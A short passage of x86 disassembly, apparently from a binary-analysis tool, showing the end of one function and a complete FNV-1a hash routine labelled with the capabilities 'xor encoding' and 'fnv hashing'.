pop ebx
setne cl
mov eax, ecx
mov esp, ebp
pop ebp
ret 4

Function at 0x4892e0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0xc]
mov edx, 0x811c9dc5
push edi
mov edi, dword [ebp + 8]
mov ecx, 0
sub esi, edi
je 0x489311
nop dword [eax]
movzx eax, byte [ecx + edi]
inc ecx
xor eax, edx
imul edx, eax, 0x1000193
cmp ecx, esi
jb 0x489300
pop edi
mov eax, edx
pop esi
pop ebp
ret 8